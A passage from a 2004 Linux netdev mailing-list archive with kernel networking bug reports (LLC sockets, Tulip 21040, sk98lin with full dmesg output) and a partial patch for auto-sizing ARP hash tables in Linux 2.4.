04 65 44 or t2,t4,t2 Without the bind(), things get a bit further. I receive an EAGAIN and in dmesg: schedule_timeout: wrong timeout value ffffffffffffffff from fffffffc005831d4 So, apparently, llc_ui_wait_for_conn() and llc_ui_wait_for_disc() are buggy, as well... --jochen From khc@pm.waw.pl Sun Mar 14 09:02:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 09:02:54 -0800 (PST) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2EH2pKO014761 for ; Sun, 14 Mar 2004 09:02:52 -0800 Received: by hq.pm.waw.pl (Postfix, from userid 10) id 97E15366; Sun, 14 Mar 2004 18:02:48 +0100 (CET) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 0C1BABFA5B; Sun, 14 Mar 2004 17:54:38 +0100 (CET) To: Cc: netdev@oss.sgi.com Subject: Tulip 21040 hangs with ifconfig promisc From: Krzysztof Halasa Date: Sun, 14 Mar 2004 17:54:38 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3991 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev Content-Length: 873 Lines: 27 Hi, This is: Linux version ~2.6.4 (Red Hat Linux 3.3.2-1)) SMP kernel, UNI CPU. (as of Mar 12 in bkcvs/linux-2.5/). Acorp VIA77 mobo - AMD-K6 3D 500 MHz + VIA MVP3 chipset. SMC EtherPower^2 (dual DECchip 21040 + 21050 PCI-PCI bridge) All running out of ramdisk. Doing "ifconfig eth0 promisc" kills the ethernet. Interrupts are gone, nothing in dmesg. -promisc nor ifconfig down/up doesn't fix it, only driver rmmod/insmod does. de2104x PCI Ethernet driver v0.6 (Sep 1, 2003) eth0: 21040 at 0xca81e000, 00:00:c0:d8:66:e0, IRQ 11 eth1: 21040 at 0xca820000, 00:00:c0:16:1b:c0, IRQ 12 eth0: enabling interface eth0: set link 10baseT-HD eth0: mode 0xfffc0040, sia 0xffffffc4,0xffff8f01,0xffffffff,0xffff0000 eth0: set mode 0xfffc0000, set sia 0x8f01,0xffff,0x0 eth0: link up, media 10baseT-HD device eth0 entered promiscuous mode Any idea? -- Krzysztof Halasa, B*FH From elm@jimini.org Sun Mar 14 10:31:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 10:31:20 -0800 (PST) Received: from imf21aec.mail.bellsouth.net (imf21aec.mail.bellsouth.net [205.152.59.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2EIV5KO022765 for ; Sun, 14 Mar 2004 10:31:06 -0800 Received: from mail.jimini.org ([68.16.158.202]) by imf21aec.mail.bellsouth.net (InterMail vM.5.01.06.08 201-253-122-130-108-20031117) with ESMTP id <20040314183059.QFKK9700.imf21aec.mail.bellsouth.net@mail.jimini.org> for ; Sun, 14 Mar 2004 13:30:59 -0500 Received: from jimini.org (c-24-129-117-253.se.client2.attbi.com [24.129.117.253]) by mail.jimini.org (Postfix) with ESMTP id 8F61F8003 for ; Sun, 14 Mar 2004 13:30:57 -0500 (EST) Message-ID: <4054A4E0.3050306@jimini.org> Date: Sun, 14 Mar 2004 18:30:56 +0000 From: Mark Price User-Agent: Mozilla Thunderbird 0.5 (X11/20040313) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: sk98lin 2.6 bug Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3992 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: elm@jimini.org Precedence: bulk X-list: netdev Content-Length: 16492 Lines: 391 Hi, I seem to have found some incorrect behavior in the sk98lin driver. The documentation claims that the driver will support up to 16 devices, and yet it is only finding one of my two cards. The problem is not apparently broken network cards, because one card is found if the driver is built in and the other is found if the driver is modularized. Interestingly, only one of them shows up in /proc/pci at a time, depending on the kernel. Here is some diagnostic info. If I can supply more, or test some patches, I would be happy to. systool is on the system, but what to do with it I don't yet know. I am running 2.6.3 from debian's kernel-image-2.6.3-1-686-smp for the module and debian's kernel-source-2.6.3-2 with the driver built in. Here is the hardware version from dmesg: eth0: SK-9521 10/100/1000Base-T Adapter, in other words SysKonnect and NOT Yukon. # lspci -v: 00:01.0 PCI bridge: Intel Corp. 440GX - 82443GX AGP bridge (prog-if 00 [Normal decode]) Flags: bus master, 66Mhz, medium devsel, latency 32 Bus: primary=00, secondary=01, subordinate=01, sec-latency=32 I/O behind bridge: 0000f000-0000ffff Memory behind bridge: fb000000-fdffffff Prefetchable memory behind bridge: f6000000-f6ffffff 00:02.0 PCI bridge: Digital Equipment Corporation DECchip 21152 (rev 03) (prog-if 00 [Normal decode]) Flags: bus master, medium devsel, latency 32 Bus: primary=00, secondary=02, subordinate=02, sec-latency=32 I/O behind bridge: 0000e000-0000efff Memory behind bridge: f9000000-faffffff Prefetchable memory behind bridge: 00000000f5000000-00000000f5f00000 Capabilities: [dc] Power Management version 1 00:07.0 ISA bridge: Intel Corp. 82371AB/EB/MB PIIX4 ISA (rev 02) Flags: bus master, medium devsel, latency 0 00:07.1 IDE interface: Intel Corp. 82371AB/EB/MB PIIX4 IDE (rev 01) (prog-if 80 [Master]) Flags: medium devsel I/O ports at 1000 [disabled] [size=16] 00:07.2 USB Controller: Intel Corp. 82371AB/EB/MB PIIX4 USB (rev 01) (prog-if 00 [UHCI]) Flags: medium devsel I/O ports at 1020 [disabled] [size=32] 00:07.3 Bridge: Intel Corp. 82371AB/EB/MB PIIX4 ACPI (rev 02) Flags: medium devsel, IRQ 9 00:08.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10) Subsystem: Realtek Semiconductor Co., Ltd. RT8139 Flags: bus master, medium devsel, latency 32, IRQ 20 I/O ports at dc80 [size=128] Memory at fe004000 (32-bit, non-prefetchable) [size=128] 00:0a.0 SCSI storage controller: ICP Vortex Computersysteme GmbH GDT 6118RD/6518RD/6618RD Subsystem: ICP Vortex Computersysteme GmbH GDT 6118RD/6518RD/6618RD Flags: bus master, medium devsel, latency 32, IRQ 21 Memory at 000c8000 (low-1M, prefetchable) [size=16K] Expansion ROM at f8000000 [disabled] [size=32K] 00:0e.0 Ethernet controller: Linksys: Unknown device 1032 (rev 12) Subsystem: Linksys: Unknown device 0015 Flags: bus master, 66Mhz, medium devsel, latency 32, IRQ 17 Memory at fe000000 (32-bit, non-prefetchable) [size=16K] I/O ports at d800 [size=256] Capabilities: [48] Power Management version 2 Capabilities: [50] Vital Product Data 01:00.0 VGA compatible controller: ATI Technologies Inc 3D Rage Pro AGP 1X (rev 5c) (prog-if 00 [VGA]) Subsystem: Dell Computer Corporation: Unknown device 0081 Flags: bus master, VGA palette snoop, stepping, medium devsel, latency 32 Memory at fc000000 (32-bit, non-prefetchable) [size=16M] I/O ports at fc00 [size=256] Memory at fbfff000 (32-bit, non-prefetchable) [size=4K] Expansion ROM at [disabled] [size=128K] Capabilities: [50] AGP version 1.0 02:06.0 SCSI storage controller: Adaptec AIC-7860 (rev 03) Subsystem: Adaptec: Unknown device 7860 Flags: bus master, medium devsel, latency 32, IRQ 16 I/O ports at ec00 [size=256] Memory at f9fff000 (32-bit, non-prefetchable) [size=4K] Capabilities: [dc] Power Management version 1 # dmesg Linux version 2.6.3mild (root@pantera) (gcc version 3.3.3 (Debian)) #3 SMP Sat Mar 13 16:56:35 GMT 2004 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 00000000000a0000 (usable) BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000003fffe000 (usable) BIOS-e820: 000000003fffe000 - 0000000040000000 (reserved) BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee10000 (reserved) BIOS-e820: 00000000fff80000 - 0000000100000000 (reserved) 127MB HIGHMEM available. 896MB LOWMEM available. found SMP MP-table at 000fe710 hm, page 000fe000 reserved twice. hm, page 000ff000 reserved twice. hm, page 000f0000 reserved twice. On node 0 totalpages: 262142 DMA zone: 4096 pages, LIFO batch:1 Normal zone: 225280 pages, LIFO batch:16 HighMem zone: 32766 pages, LIFO batch:7 DMI 2.2 present. ACPI disabled because your bios is from 1999 and too old You can enable it with acpi=force Intel MultiProcessor Specification v1.4 Virtual Wire compatibility mode. OEM ID: DELL Product ID: PowerEdge 81 APIC at: 0xFEE00000 Processor #1 6:7 APIC version 17 Processor #0 6:7 APIC version 17 I/O APIC #2 Version 17 at 0xFEC00000. Enabling APIC mode: Flat. Using 1 I/O APICs Processors: 2 Built 1 zonelists Kernel command line: BOOT_IMAGE=2.6mild root=805 Initializing CPU#0 PID hash table entries: 4096 (order 12: 32768 bytes) Detected 498.814 MHz processor. Using tsc for high-res timesource Console: colour VGA+ 80x25 Memory: 1030176k/1048568k available (1729k kernel code, 17492k reserved, 703k data, 168k init, 131064k highmem) Checking if this processor honours the WP bit even in supervisor mode... Ok. Calibrating delay loop... 983.04 BogoMIPS Dentry cache hash table entries: 131072 (order: 7, 524288 bytes) Inode-cache hash table entries: 65536 (order: 6, 262144 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) checking if image is initramfs...it isn't (ungzip failed); looks like an initrd Freeing initrd memory: 3952k freed CPU: After generic identify, caps: 0383fbff 00000000 00000000 00000000 CPU: After vendor identify, caps: 0383fbff 00000000 00000000 00000000 CPU: L1 I cache: 16K, L1 D cache: 16K CPU: L2 cache: 512K CPU: After all inits, caps: 0383fbff 00000000 00000000 00000040 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX CPU0: Intel Pentium III (Katmai) stepping 03 per-CPU timeslice cutoff: 1464.87 usecs. task migration cache decay timeout: 2 msecs. enabled ExtINT on CPU#0 ESR value before enabling vector: 00000040 ESR value after enabling vector: 00000000 Booting processor 1/0 eip 3000 Initializing CPU#1 masked ExtINT on CPU#1 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Calibrating delay loop... 995.32 BogoMIPS CPU: After generic identify, caps: 0383fbff 00000000 00000000 00000000 CPU: After vendor identify, caps: 0383fbff 00000000 00000000 00000000 CPU: L1 I cache: 16K, L1 D cache: 16K CPU: L2 cache: 512K CPU: After all inits, caps: 0383fbff 00000000 00000000 00000040 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#1. CPU1: Intel Pentium III (Katmai) stepping 03 Total of 2 processors activated (1978.36 BogoMIPS). ENABLING IO-APIC IRQs Setting 2 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 2 ... ok. init IO_APIC IRQs IO-APIC (apicid-pin) 2-0, 2-5, 2-10, 2-11, 2-13, 2-14, 2-23 not connected. ..TIMER: vector=0x31 pin1=2 pin2=0 number of MP IRQ sources: 37. number of IO-APIC #2 registers: 24. testing the IO APIC....................... IO APIC #2...... .... register #00: 02000000 ....... : physical APIC id: 02 ....... : Delivery Type: 0 ....... : LTS : 0 .... register #01: 00170011 ....... : max redirection entries: 0017 ....... : PRQ implemented: 0 ....... : IO APIC version: 0011 .... register #02: 00000000 ....... : arbitration: 00 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 000 00 1 0 0 0 0 0 0 00 01 001 01 0 0 0 0 0 1 1 39 02 001 01 0 0 0 0 0 1 1 31 03 001 01 0 0 0 0 0 1 1 41 04 001 01 0 0 0 0 0 1 1 49 05 000 00 1 0 0 0 0 0 0 00 06 001 01 0 0 0 0 0 1 1 51 07 001 01 0 0 0 0 0 1 1 59 08 001 01 0 0 0 0 0 1 1 61 09 001 01 0 0 0 0 0 1 1 69 0a 000 00 1 0 0 0 0 0 0 00 0b 000 00 1 0 0 0 0 0 0 00 0c 001 01 0 0 0 0 0 1 1 71 0d 000 00 1 0 0 0 0 0 0 00 0e 000 00 1 0 0 0 0 0 0 00 0f 001 01 0 0 0 0 0 1 1 79 10 001 01 1 1 0 1 0 1 1 81 11 001 01 1 1 0 1 0 1 1 89 12 001 01 1 1 0 1 0 1 1 91 13 001 01 1 1 0 1 0 1 1 99 14 001 01 1 1 0 1 0 1 1 A1 15 001 01 1 1 0 1 0 1 1 A9 16 001 01 1 1 0 1 0 1 1 B1 17 000 00 1 0 0 0 0 0 0 00 IRQ to pin mappings: IRQ0 -> 0:2 IRQ1 -> 0:1 IRQ3 -> 0:3 IRQ4 -> 0:4 IRQ6 -> 0:6 IRQ7 -> 0:7 IRQ8 -> 0:8 IRQ9 -> 0:9 IRQ12 -> 0:12 IRQ15 -> 0:15 IRQ16 -> 0:16 IRQ17 -> 0:17 IRQ18 -> 0:18 IRQ19 -> 0:19 IRQ20 -> 0:20 IRQ21 -> 0:21 IRQ22 -> 0:22 .................................... done. Using local APIC timer interrupts. calibrating APIC timer ... ..... CPU clock speed is 498.0669 MHz. ..... host bus clock speed is 99.0733 MHz. checking TSC synchronization across 2 CPUs: passed. Starting migration thread for cpu 0 Starting migration thread for cpu 1 Brought up 1 CPUs NET: Registered protocol family 16 PCI: PCI BIOS revision 2.10 entry at 0xfcc0e, last bus=2 PCI: Using configuration type 1 mtrr: v2.0 (20020519) ACPI: Subsystem revision 20040116 ACPI: Interpreter disabled. Linux Plug and Play Support v0.97 (c) Adam Belay PnPBIOS: Scanning system for PnP BIOS support... PnPBIOS: Found PnP BIOS installation structure at 0xc00fe2d0 PnPBIOS: PnP BIOS version 1.0, entry 0xf0000:0xe2f4, dseg 0x40 pnp: 00:00: ioport range 0x800-0x83f has been reserved pnp: 00:00: ioport range 0x850-0x85f has been reserved pnp: 00:00: ioport range 0xaa00-0xaa7f has been reserved PnPBIOS: 16 nodes reported by PnP BIOS; 16 recorded by driver ACPI: ACPI tables contain no PCI IRQ routing entries PCI: Invalid ACPI-PCI IRQ routing table PCI: Probing PCI hardware PCI: Probing PCI hardware (bus 00) PCI: Address space collision on region 7 of bridge 0000:00:07.3 [800:83f] PCI: Address space collision on region 8 of bridge 0000:00:07.3 [840:85f] PCI: Using IRQ router PIIX/ICH [8086/7110] at 0000:00:07.0 PCI->APIC IRQ transform: (B0,I8,P0) -> 20 PCI->APIC IRQ transform: (B0,I10,P0) -> 21 PCI->APIC IRQ transform: (B0,I14,P0) -> 17 PCI->APIC IRQ transform: (B2,I6,P0) -> 16 PCI: Cannot allocate resource region 4 of device 0000:00:07.1 Machine check exception polling timer started. Starting balanced_irq ikconfig 0.7 with /proc/config* highmem bounce pool size: 64 pages VFS: Disk quotas dquot_6.5.1 devfs: v1.22 (20021013) Richard Gooch (rgooch@atnf.csiro.au) devfs: boot_options: 0x0 Initializing Cryptographic API isapnp: Scanning for PnP cards... isapnp: No Plug & Play device found pty: 256 Unix98 ptys configured Serial: 8250/16550 driver $Revision: 1.90 $ 48 ports, IRQ sharing enabled ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A ttyS3 at I/O 0x2e8 (irq = 3) is a 16550A RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize sk98lin: Network Device Driver v6.22 (C)Copyright 1999-2004 Marvell(R). divert: allocating divert_blk for eth0 eth0: SK-9521 10/100/1000Base-T Adapter PrefPort:A RlmtMode:Check Link State divert: not allocating divert_blk for non-ethernet device lo serio: i8042 AUX port at 0x60,0x64 irq 12 serio: i8042 KBD port at 0x60,0x64 irq 1 input: AT Translated Set 2 keyboard on isa0060/serio0 NET: Registered protocol family 2 IP: routing cache hash table of 8192 buckets, 64Kbytes TCP: Hash tables configured (established 262144 bind 65536) NET: Registered protocol family 8 NET: Registered protocol family 20 PM: Reading pmdisk image. PM: Resume from disk failed. RAMDISK: cramfs filesystem found at block 0 RAMDISK: Loading 3952 blocks [1 disk] into ram disk... done. VFS: Mounted root (cramfs filesystem). Freeing unused kernel memory: 168k freed SCSI subsystem initialized GDT: Storage RAID Controller Driver. Version: 2.08 GDT: Found 1 PCI Storage RAID Controllers GDT CTR0: Configuring GDT-PCI HA at 0/10 IRQ 21 scsi0 : GDT6518RD Using anticipatory io scheduler Vendor: ICP Model: Host Drive #00 Rev: Type: Direct-Access ANSI SCSI revision: 02 Vendor: DELL Model: 1x6 U2W SCSI BP Rev: 5.33 Type: Processor ANSI SCSI revision: 02 SCSI device sda: 35551845 512-byte hdwr sectors (18203 MB) SCSI device sda: drive cache: write through /dev/scsi/host0/bus0/target0/lun0: p1 p2 < p5 p6 p7 p8 > Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. NET: Registered protocol family 1 EXT3 FS on sda5, internal journal Real Time Clock Driver v1.12 kjournald starting. Commit interval 5 seconds EXT3 FS on sda1, internal journal EXT3-fs: mounted filesystem with ordered data mode. kjournald starting. Commit interval 5 seconds EXT3 FS on sda7, internal journal EXT3-fs: mounted filesystem with ordered data mode. kjournald starting. Commit interval 5 seconds EXT3 FS on sda6, internal journal EXT3-fs: mounted filesystem with ordered data mode. parport0: PC-style at 0x378 (0x778) [PCSPP,TRISTATE,EPP] parport0: irq 7 detected parport0: cpp_daisy: aa5500ff(08) parport0: assign_addrs: aa5500ff(08) parport0: cpp_daisy: aa5500ff(08) parport0: assign_addrs: aa5500ff(08) lp0: using parport0 (polling). Linux agpgart interface v0.100 (c) Dave Jones 8139too Fast Ethernet driver 0.9.27 divert: allocating divert_blk for eth1 eth1: RealTek RTL8139 at 0xf886e000, 00:c0:ca:11:42:f6, IRQ 20 eth1: Identified 8139 chip type 'RTL-8139 rev K' NET: Registered protocol family 10 Disabled Privacy Extensions on device c0331620(lo) IPv6 over IPv4 tunneling driver divert: not allocating divert_blk for non-ethernet device sit0 NET: Registered protocol family 17 Linux Kernel Card Services options: [pci] [cardbus] [pm] Intel ISA PCIC probe: not found. eth0: no IPv6 routers present input: PS/2 Generic Mouse on isa0060/serio1 atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. atkbd.c: Unknown key released (translated set 2, code 0x7a on isa0060/serio0). atkbd.c: This is an XFree86 bug. It shouldn't access hardware directly. eth0: network connection up using port A speed: 100 autonegotiation: yes duplex mode: full flowctrl: symmetric irq moderation: disabled scatter-gather: enabled From timg@mailgate.tpi.com Sun Mar 14 11:11:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Mar 2004 11:11:04 -0800 (PST) Received: from mailgate.tpi.com (ftp.tpi.com [198.107.51.136]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2EJB0KO024512 for ; Sun, 14 Mar 2004 11:11:00 -0800 Received: from tim (TIM.tpi.com [10.0.2.3]) by mailgate.tpi.com (Post.Office MTA v3.5.3 release 223 ID# 0-60229U100L100S0V35) with ESMTP id com; Sun, 14 Mar 2004 11:10:58 -0800 Content-Type: text/plain; charset="us-ascii" From: Tim Gardner Reply-To: timg@tpi.com Organization: TriplePoint, Inc. To: Anton Blanchard Subject: [PATCH} ARP auto-sizing for 2.4.24 - 2.4.26-pre3 Date: Sun, 14 Mar 2004 12:10:57 -0700 User-Agent: KMail/1.4.3 Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org MIME-Version: 1.0 Message-Id: <200403141210.57266.timg@tpi.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2EJB0KO024512 X-archive-position: 3993 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: timg@tpi.com Precedence: bulk X-list: netdev Content-Length: 13031 Lines: 438 Anton, Included is a patch that auto-sizes ARP caches ala tcp_ehash_size. There is also a config option (CONFIG_NEIGH_NUM_HASHBITS) in the Network Options menu that allows an override, but the default is auto-size. This patch also includes smoothing of the ARP garbage collector, removes gc_interval, and removes NEIGH_HASHMASK. I have run this on small configurations. Later tonight I'll be trying it on one of my thousand node routers. I've compiled the other affected protocols (IPv6, ATM, and DecNET), but have not run them. rtg <--snip--> diff -r -u --new-file linux-2.4.bk.original/Documentation/Configure.help linux-2.4.bk-auto-size/Documentation/Configure.help --- linux-2.4.bk.original/Documentation/Configure.help 2004-03-14 08:54:48.000000000 -0700 +++ linux-2.4.bk-auto-size/Documentation/Configure.help 2004-03-13 21:37:10.000000000 -0700 @@ -7139,6 +7139,19 @@ If unsure, say N. +ARP hash table size power of 2 +CONFIG_NEIGH_NUM_HASHBITS + This option defines the size of the ARP hash table for each protocol. The default size of 0 + initiates a boot time auto-sizing algorithm. This algorithm allocates a power of 2 hash + buckets according to the number of physical pages of RAM. One power of 2 buckets for each + power of 2 MB of RAM, e.g., 8 buckets for 8MB, 16 buckets for 16MB, etc. One hash bucket + consumes 4 bytes on a 32 bit CPU. + + A non-zero value for CONFIG_NEIGH_NUM_HASHBITS disables the auto-size algorithm. You might + specifiy a fixed size for environments where the auto-size algorithm is + inappropriate. Sometimes small RAM embedded devices handle routing for a thousand or more + devices. + Packet socket CONFIG_PACKET The Packet protocol is used by applications which communicate diff -r -u --new-file linux-2.4.bk.original/include/net/neighbour.h linux-2.4.bk-auto-size/include/net/neighbour.h --- linux-2.4.bk.original/include/net/neighbour.h 2004-03-14 08:54:27.000000000 -0700 +++ linux-2.4.bk-auto-size/include/net/neighbour.h 2004-03-14 11:00:45.000000000 -0700 @@ -128,7 +128,6 @@ u8 key[0]; }; -#define NEIGH_HASHMASK 0x1F #define PNEIGH_HASHMASK 0xF /* @@ -149,8 +148,7 @@ void (*proxy_redo)(struct sk_buff *skb); char *id; struct neigh_parms parms; - /* HACK. gc_* shoul follow parms without a gap! */ - int gc_interval; + /* HACK. gc_* should follow parms without a gap! */ int gc_thresh1; int gc_thresh2; int gc_thresh3; @@ -165,7 +163,9 @@ kmem_cache_t *kmem_cachep; struct tasklet_struct gc_task; struct neigh_statistics stats; - struct neighbour *hash_buckets[NEIGH_HASHMASK+1]; + struct neighbour **hash_buckets; + int num_hash_buckets; + int curr_hash_bucket; /* for the garbage collector */ struct pneigh_entry *phash_buckets[PNEIGH_HASHMASK+1]; }; diff -r -u --new-file linux-2.4.bk.original/net/atm/clip.c linux-2.4.bk-auto-size/net/atm/clip.c --- linux-2.4.bk.original/net/atm/clip.c 2004-03-14 08:54:29.000000000 -0700 +++ linux-2.4.bk-auto-size/net/atm/clip.c 2004-03-13 22:12:11.000000000 -0700 @@ -126,7 +126,7 @@ /*DPRINTK("idle_timer_check\n");*/ write_lock(&clip_tbl.lock); - for (i = 0; i <= NEIGH_HASHMASK; i++) { + for (i = 0; i < clip_tbl.num_hash_buckets; i++) { struct neighbour **np; for (np = &clip_tbl.hash_buckets[i]; *np;) { @@ -318,6 +318,7 @@ return 0; } +static struct neigh_table clip_tbl; static u32 clip_hash(const void *pkey, const struct net_device *dev) { u32 hash_val; @@ -326,7 +327,7 @@ hash_val ^= (hash_val>>16); hash_val ^= hash_val>>8; hash_val ^= hash_val>>3; - hash_val = (hash_val^dev->ifindex)&NEIGH_HASHMASK; + hash_val = (hash_val^dev->ifindex)&(clip_tbl.num_hash_buckets-1); return hash_val; } diff -r -u --new-file linux-2.4.bk.original/net/atm/proc.c linux-2.4.bk-auto-size/net/atm/proc.c --- linux-2.4.bk.original/net/atm/proc.c 2004-03-14 08:54:29.000000000 -0700 +++ linux-2.4.bk-auto-size/net/atm/proc.c 2004-03-13 22:00:28.000000000 -0700 @@ -430,7 +430,7 @@ return 0; count = pos; read_lock_bh(&clip_tbl_hook->lock); - for (i = 0; i <= NEIGH_HASHMASK; i++) + for (i = 0; i < clip_tbl_hook->num_hash_buckets; i++) for (n = clip_tbl_hook->hash_buckets[i]; n; n = n->next) { struct atmarp_entry *entry = NEIGH2ENTRY(n); struct clip_vcc *vcc; diff -r -u --new-file linux-2.4.bk.original/net/Config.in linux-2.4.bk-auto-size/net/Config.in --- linux-2.4.bk.original/net/Config.in 2004-03-14 08:54:37.000000000 -0700 +++ linux-2.4.bk-auto-size/net/Config.in 2004-03-14 10:49:33.000000000 -0700 @@ -8,6 +8,8 @@ bool ' Packet socket: mmapped IO' CONFIG_PACKET_MMAP fi +int 'ARP hash table size power of 2' CONFIG_NEIGH_NUM_HASHBITS 0 + tristate 'Netlink device emulation' CONFIG_NETLINK_DEV bool 'Network packet filtering (replaces ipchains)' CONFIG_NETFILTER diff -r -u --new-file linux-2.4.bk.original/net/core/neighbour.c linux-2.4.bk-auto-size/net/core/neighbour.c --- linux-2.4.bk.original/net/core/neighbour.c 2004-03-14 08:54:29.000000000 -0700 +++ linux-2.4.bk-auto-size/net/core/neighbour.c 2004-03-14 11:45:53.000000000 -0700 @@ -111,7 +111,7 @@ int shrunk = 0; int i; - for (i=0; i<=NEIGH_HASHMASK; i++) { + for (i=0; inum_hash_buckets; i++) { struct neighbour *n, **np; np = &tbl->hash_buckets[i]; @@ -176,7 +176,7 @@ write_lock_bh(&tbl->lock); - for (i=0; i <= NEIGH_HASHMASK; i++) { + for (i=0; i < tbl->num_hash_buckets; i++) { struct neighbour *n, **np; np = &tbl->hash_buckets[i]; @@ -203,7 +203,7 @@ write_lock_bh(&tbl->lock); - for (i=0; i<=NEIGH_HASHMASK; i++) { + for (i=0; inum_hash_buckets; i++) { struct neighbour *n, **np; np = &tbl->hash_buckets[i]; @@ -566,9 +566,8 @@ static void SMP_TIMER_NAME(neigh_periodic_timer)(unsigned long arg) { struct neigh_table *tbl = (struct neigh_table*)arg; + struct neighbour *n, **np; unsigned long now = jiffies; - int i; - write_lock(&tbl->lock); @@ -583,46 +582,49 @@ p->reachable_time = neigh_rand_reach_time(p->base_reachable_time); } - for (i=0; i <= NEIGH_HASHMASK; i++) { - struct neighbour *n, **np; + tbl->curr_hash_bucket &= (tbl->num_hash_buckets-1); + np = &tbl->hash_buckets[tbl->curr_hash_bucket++]; - np = &tbl->hash_buckets[i]; - while ((n = *np) != NULL) { - unsigned state; + while ((n = *np) != NULL) { + unsigned state; - write_lock(&n->lock); + write_lock(&n->lock); - state = n->nud_state; - if (state&(NUD_PERMANENT|NUD_IN_TIMER)) { - write_unlock(&n->lock); - goto next_elt; - } + state = n->nud_state; + if (state&(NUD_PERMANENT|NUD_IN_TIMER)) { + write_unlock(&n->lock); + goto next_elt; + } - if ((long)(n->used - n->confirmed) < 0) - n->used = n->confirmed; + if ((long)(n->used - n->confirmed) < 0) + n->used = n->confirmed; - if (atomic_read(&n->refcnt) == 1 && - (state == NUD_FAILED || now - n->used > n->parms->gc_staletime)) { - *np = n->next; - n->dead = 1; - write_unlock(&n->lock); - neigh_release(n); - continue; - } - - if (n->nud_state&NUD_REACHABLE && - now - n->confirmed > n->parms->reachable_time) { - n->nud_state = NUD_STALE; - neigh_suspect(n); - } + if (atomic_read(&n->refcnt) == 1 && + (state == NUD_FAILED || now - n->used > n->parms->gc_staletime)) { + *np = n->next; + n->dead = 1; write_unlock(&n->lock); + neigh_release(n); + continue; + } -next_elt: - np = &n->next; + if (n->nud_state&NUD_REACHABLE && + now - n->confirmed > n->parms->reachable_time) { + n->nud_state = NUD_STALE; + neigh_suspect(n); } + write_unlock(&n->lock); + +next_elt: + np = &n->next; } - mod_timer(&tbl->gc_timer, now + tbl->gc_interval); + /* + * Cycle through all hash buckets every base_reachable_time/2 ticks. ARP entry + * timeouts range from 1/2 base_reachable_time to 3/2 base_reachable_time. + */ + mod_timer(&tbl->gc_timer, now + ((tbl->parms.base_reachable_time>>1)/(tbl->num_hash_buckets))); + write_unlock(&tbl->lock); } @@ -905,7 +907,7 @@ neigh = __neigh_lookup(tbl, saddr, dev, lladdr || !dev->addr_len); if (neigh) - neigh_update(neigh, lladdr, NUD_STALE, 1, 1); + neigh_update(neigh, lladdr, (lladdr && dev->addr_len) ? NUD_REACHABLE : NUD_STALE, 1, 1); return neigh; } @@ -1132,6 +1134,39 @@ void neigh_table_init(struct neigh_table *tbl) { unsigned long now = jiffies; + unsigned int goal=CONFIG_NEIGH_NUM_HASHBITS; + + /* + * Allocate a power of 2 hash buckets for each power of 2 MB of RAM. + */ + if (!goal) + { + unsigned int ram_mb = (num_physpages * PAGE_SIZE) / (1024 * 1024); + goal = 31; + while ((1< ram_mb) + { + goal--; + } + } + + tbl->hash_buckets = NULL; + while (goal && (!tbl->hash_buckets)) + { + tbl->num_hash_buckets = (1<hash_buckets = kmalloc(sizeof(struct neighbour *)*tbl->num_hash_buckets,GFP_ATOMIC); + goal--; + } + + if (tbl->hash_buckets == NULL) + panic("%s: Could not allocate memory for hash buckets.\n",__FUNCTION__); + memset(tbl->hash_buckets,0,sizeof(struct 